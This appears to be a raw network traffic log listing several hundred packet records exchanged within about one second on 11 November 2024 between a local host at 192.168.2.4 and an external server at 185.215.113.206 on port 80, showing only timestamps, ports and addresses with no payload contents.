Nov 11, 2024 14:32:17.167191982 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167197943 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167203903 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.167205095 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.167216063 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.167272091 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167278051 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167284012 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167290926 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167298079 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167319059 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.167340040 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.167340040 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.167355061 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167361021 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167366982 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167372942 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167378902 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167383909 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167390108 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167411089 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167409897 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.167417049 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.167447090 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.167515993 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.402983904 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.407802105 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602380037 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602401972 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602406979 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602412939 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602426052 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602431059 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602440119 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602459908 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602503061 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602509022 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602514982 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602525949 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.602525949 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.602560997 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.602575064 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602617025 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602623940 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602627993 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.602649927 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602674961 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.602715015 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602718115 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.602720976 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602726936 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602732897 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602803946 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.602803946 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.602818012 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602823973 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602855921 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602859974 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602864027 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.602869034 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602874041 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602878094 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602893114 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602900982 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602900982 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.602905035 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602910042 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602916002 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602921963 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.602921963 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.602974892 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603043079 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603048086 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603051901 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603061914 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603065968 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603071928 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603076935 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603080988 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603094101 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603095055 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603115082 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603164911 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603199959 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603207111 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603212118 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603221893 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603228092 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603234053 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603240013 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603245020 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603260040 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603291035 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603323936 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603327990 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603332996 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603338003 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603343010 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603348970 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603492022 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603492022 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603507042 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603512049 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603528023 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603533983 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603538990 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603544950 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603549957 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603554010 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603559017 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603564024 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603564978 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603570938 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603575945 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603580952 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603584051 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603586912 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603595018 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603611946 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603616953 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603621960 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603624105 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603642941 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603657007 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603696108 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603701115 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603703022 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603724957 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603748083 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603815079 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603820086 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603825092 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603831053 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603836060 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603841066 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603847027 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603873968 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603919029 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.603950977 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603955984 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603962898 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603976011 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603981972 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603986979 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603992939 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.603996992 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604002953 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604007959 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604013920 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604021072 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604027033 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604033947 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604074955 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604074955 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604162931 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604166985 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604171991 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604177952 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604191065 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604216099 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604229927 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604234934 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604235888 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604240894 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604245901 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604252100 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604254961 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604289055 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604290962 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604295969 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604301929 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604306936 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604310036 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604329109 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604357958 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604387999 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604393005 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604398012 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604404926 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604441881 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604456902 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604463100 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604466915 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604470015 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604481936 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604512930 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604518890 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604518890 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604624987 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604665995 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604671955 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604682922 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604686975 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604691982 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604696989 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604701996 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604708910 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604712963 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604717970 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604720116 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604737997 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604741096 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604746103 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604752064 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604758024 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604768991 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604823112 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604830027 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604870081 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604918003 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.604935884 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604939938 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604944944 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604964972 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604970932 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604975939 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604981899 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.604995012 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.605005026 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.605038881 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.605067015 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.605072975 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.605078936 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.605084896 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.605106115 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.605134964 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.606035948 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606041908 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606049061 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606101990 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606107950 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606113911 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606120110 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606122017 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.606151104 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.606168032 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.606244087 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606250048 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606255054 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606266022 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606271029 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606276989 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606281996 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606287003 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606292963 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606301069 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.606343031 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.606400967 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606406927 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606415033 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606420994 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606426001 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606501102 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.606501102 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.606519938 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606525898 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606532097 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606543064 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606548071 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606554031 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606559038 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606564999 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606575012 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606579065 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.606586933 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.606652975 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.606827974 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606833935 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606839895 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606851101 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606856108 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606861115 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606867075 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606873035 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606878996 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606884003 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606889963 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606894016 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606898069 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.606899023 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.606900930 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606914043 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606931925 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.606960058 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.606971979 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606976986 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606981993 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606992960 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.606996059 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.607038021 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.607115030 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607121944 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607127905 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607137918 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607144117 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607148886 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607153893 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607161045 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607170105 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607177019 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607182026 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.607199907 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.607222080 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.607772112 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607821941 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.607826948 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607831955 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607887030 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.607898951 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607903957 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607918978 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607954979 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.607964039 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607969999 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607984066 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.607996941 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608004093 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608012915 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608016014 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.608021021 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608052969 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.608074903 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.608107090 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608113050 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608129025 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608134031 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608139992 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608150959 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608151913 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.608159065 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608164072 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608179092 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608179092 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.608185053 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608191013 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608201027 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608206987 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608211994 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:17.608212948 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:17.608220100 CET	49753	80	192.168.2.4	185.215.113.206
